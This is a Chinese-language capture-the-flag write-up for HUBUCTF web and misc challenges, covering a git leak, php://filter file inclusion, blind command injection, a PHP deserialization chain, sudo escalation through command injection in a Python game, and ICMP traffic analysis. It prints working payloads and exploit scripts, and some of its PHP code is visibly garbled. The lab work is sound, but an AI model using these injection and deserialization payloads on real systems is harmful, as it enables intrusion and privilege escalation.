[TOC]
web 
Robots Leak 
考点:git泄露
 
开启题目
 
先扫目录
 
git泄露,直接拉取git到本地,然后有个.git文件
 
进入到文件里,查看日志
 
找到关键词flag,查看一下内容
 
拿到一半flag。
查看一下其他日志内容,都没什么营养,然后看看有没有文件,用git stash pop
发现拉取了一个.flag.exe,查看得到下一半
 
合起来就是全部flag
 
HUBUCTF{431332b1-e91f-4437-9036-b9059539886f}
 
ez-http 
考点:http基础
 
http基础,按要求一步一步来,建议抓包放进重放器里面,方便
 
剩下的就是改referrer,添加一个ip(网上搜一下,多试),然后改cookie等等。(不截图了)
 
Random_Door 
考点:python脚本,php伪协议
 
打开网站
 
嗯,好,满天星,写个脚本挨着读
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requests import time base_url = "http://challenge.hubuctf.cn:30423/flag" delay = 1  # 延迟1秒 for i in range(1, 101):     url = f"{base_url}{i}.php"          try:         response = requests.get(url)                  if response.status_code == 200:             print(f"Success: {url}")             print(response.text)             print("-" * 40)     except requests.RequestException as e:         print(f"Failed to access {url}: {e}")          # 延迟1秒     time.sleep(delay) print("All requests completed.") 
最后发现只有两个能打开。
 
先看第一个,在flag42.php
 
这是个提示信息,提示可能要传参file
 
再看第二个flag79.php
 
1 2 3 4 5 6 7 8 9 10 11 12  <?php highlight_file(__FILE__); error_reporting(0); if (preg_match('/base64|http/', $_GET['file'])) {     die('base64 | http is not allowed'); } else {     echo "flag in flag.php"; } include $_GET['file']; ?>  
传file,直接filter伪协议读取,然后你就会发现。。。。
 
flag.php是空哒!哈哈哈哈哈!!!!!!
 
我只能说真会玩,第一个网页才是真的后门入口,在第一个网页进行filter读取拿到flag。
 
1 PD9waHAgJGZsYWc9ICJIVUJVQ1RGezUwMGE0MzEyLTM2ZTItNDlkZi05MjRlLTkyY2EzYWM0MDMwN30iIDs/Pgo= 
解码得到flag
 
1 HUBUCTF{500a4312-36e2-49df-924e-92ca3ac40307} 
RCE - Level 2 
考点:无回显rce
 
根据提示知道是没有回显的。
 
打开界面,发现是个登录框,先用御剑扫一下目录
 
发现cmd.php,打开发现就是命令执行框
 
先随便ping一个
 
发现几乎没啥过滤,但是就是无回显
无回显做法:
\1. 将运行结果写入到网站的文件里。
\2. 写马
\3. 进行数据外带,如dnslog,curl等都可以
 
经过测试,发现static/script.js是可以写入的(虽然我也不知道怎么测试的,是看的别人的wp)
在输入框中输入 127.0.0.1;ls > static/script.js ,页面显示执行成功 
后查看js文件,可以看到执行的结果
在根目录下找到flag文件 f1ag_1s_h3r3 ( 127.0.0.1;ls / > static/script.js )
继续读取flag ,执行 127.0.0.1;cat /f1ag_1s_h3r3 > static/script.js
 
Web Pentest * 
考点:APK分析,反序列化
 
根据对话信息可以推测,可能在协会官网的源代码里
 
方式一 
逆向手应该都有安卓模拟器,直接apk安装到模拟器上。或者直接安装到手机上。
启动app就直接有了web后台地址。
 
方式二 
misc 手应该需要会,apk本质也是个压缩包。把apk后缀改成zip然后解压。直接搜flag 但是有一点要注意,app打包之后xml文件是二进制。因此也考察了选手对于grep的使用情况
/flag1-21daSD21agfgDDDZVFGSVsasd32Ws2asCZCDw.php
admin:admin
grep -a -r “flag” .  # 搜索二进制 递归搜索
 
然后里面就是个简单的反序列化考点
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting(0); / 关闭错误报告 class K1T0 { protected $file = 'FLAG.php'; public $test; public function _ construct($file) { $this > file = $file; } public function test() { system($this > test); } function _ toString() { if (!empty($this > file)) { if (!preg_match('/filter/', $this > file)) { echo $this > file; printf("再试试"); 其实这个序列化很简单链子是 APT > K1T0 触发魔术方法 toString exit(); } else { include($this > file); } } return "successful guy!!!"; } public function kkk() { eval ($this > test); } } class APT { public $eth0; public $eth1; function _ wakeup() { echo $this > eth0; } } if (!isset($_GET['file'])) { show_source( _ FILE _ ); } else { $file = base64_decode($_GET['file']); unserialize($file); } ?> 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php error_reporting(0); / 关闭错误报告 class K1T0 { protected $file = 'php: / filter/read=convert.base64- encode/resource=/flag'; public $test; function _ toString() { if (!empty($this > file)) { if (!preg_match( "filter",$this > file)) { printf("再试试"); exit(); } else{ include($this > file); } } return "successful guy!!!"; } } class APT { public $eth0; public $eth1; } $a=new APT(); $a > eth0=new K1T0(); echo base64_encode(serialize($a)); ?> ? file=TzozOiJBUFQiOjI6e3M6NDoiZXRoMCI7Tzo0OiJLMVQwIjoyOntzOjc6IgAqA GZpbGUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29 kZS9yZXNvdXJjZT0vZmxhZyI7czo0OiJ0ZXN0IjtOO31zOjQ6ImV0aDEiO047fQ 
读取的时候是读取/flag,而不是flag.php,不然是读取不出来的。
 
misc 
真假二维码 
考点:文件分离,压缩包密码爆破
 
下载附件,得到一个压缩包,需要密码,根据提示
 
解压,有张二维码,扫一下
 
假的flag,binwalk看一下,发现有包含文件,直接foremost提取,得到另一张二维码
 
HUBUMARS{751da030-96b5-11ef-89a7-00155d84ef90}
 
Get Root or Get Lost * 
考点:提权
 
先按照提示连接。
提权,先试试 sudo -l
 
以sudo命令执行 /opt/game.py ,发现该文件不可读
 
但是在hubumars的家目录下有一个备份文件 game.bak
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 # -*- coding: utf-8 -*- import random import subprocess def play_game():     choices = ["石头", "剪刀", "布"]     print("欢迎来到猜拳游戏!")     print("输入你的选择:")     print("1. 石头")     print("2. 剪刀")     print("3. 布")     print("输入 0 退出游戏")     player = input("请输入你的名字:")     while True:         try:             # global user_choice             user_choice = int(input("你的选择:"))             if user_choice == 0:                 print("游戏结束!")                 break             if user_choice not in [1, 2, 3]:                 print("无效输入,请选择 1, 2, 3 或 0 退出游戏。")                 continue             user_move = choices[user_choice - 1]             computer_move = random.choice(choices)             print(f"你选择了:{user_move}")             print(f"电脑选择了:{computer_move}")             if user_move == computer_move:                 print("平局!")             elif (                 (user_move == "石头" and computer_move == "剪刀")                 or (user_move == "剪刀" and computer_move == "布")                 or (user_move == "布" and computer_move == "石头")             ):                 print("你赢了!载入史册")                 winner = (                     "echo 用户 【%s】 你战胜利计算机!载入史册 >> shice.txt " % player                 )                 subprocess.Popen(winner, shell=True)             else:                 print("你输了!")         except ValueError:             print("无效输入,请输入数字。")             user_choice = "无效输入"             message = "echo 警报警报,检测%s 恶意输入 %s >> warning.txt " % (                 player,                 user_choice,             )             print(message)             with open("warning.txt", "a") as file:                 process = subprocess.Popen(                     ["echo", message], stdout=file  # 将标准输出重定向到文件                 )                 process.communicate() if __name__ == "__main__":     play_game() 
分析看到这段代码
 
1 2 3 4 winner = (                     "echo 用户 【%s】 你战胜利计算机!载入史册 >> shice.txt " % player                 )                 subprocess.Popen(winner, shell=True) 
发现会执行winner里面的命令,所以只要将用户名设置成可执行函数,就可以执行。
 
如上图,whoami被执行了,所以我们这次执行找flag.php的命令
 
1 ;find / -name "*flag*" 2>/dev/null; 
然后读取root目录下的flag即可
 
隐秘的流量 
考点:流量分析,ICMP协议
 
用wireshake打开,统计-> 分级协议
 
发现有UDP,TCP,ICMP协议
重点关注ICMP协议。
WireShark 过滤条件 icmp & icmp.type = 8 【含义:icmp协议,类型8代
表发送请求,参考:ICMP报文的格式和种类-腾讯云开发者社区-腾讯云)
注意到后面都有几个特殊的字符,提取出来
 
1 2 3 4 5 6 7 8 9 10 11 12 # 使用tshark 提取 └─🍀 tshark -r secret.pcapng -Y 'icmp && icmp.type = 8' -T fields -e "data.data" | xxd -p -r | base32 -d | base64 -d 命令解释: -r : 读取文件,后面跟流量包文件名 -Y : 过滤的条件,这里是icmp的方法请求的流量包 -T :设置输出格式,如json,fields等 -e : 输出特定的字段 xxd -p -r :将十六进制转化为字符串 windows如果安装了wireshake,则在其目录下有个tshark.exe程序。 
HUBUMARS{1CMp_da7a_15_1n73R3571N9}